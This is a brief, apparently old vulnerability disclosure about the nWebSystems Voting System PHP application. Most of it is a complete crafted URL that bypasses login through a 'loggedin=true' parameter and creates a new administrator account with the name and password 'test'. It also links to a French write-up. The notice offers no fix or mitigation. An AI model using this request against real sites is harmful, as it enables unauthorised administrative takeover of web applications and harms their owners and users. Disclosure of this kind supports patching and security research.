Multiples holes in PHP services.

The url http://www.host.com/index.php?loggedin=true&action=auser&newun=test&newpw=test&newpw1=test&newlevel=1&submit=Save allow to create an admin access nick : test, password : test on a nWebSystems Voting System site. More details in french : http://balteam.multimania.com/Tuts/nwebsystemsvs.txt...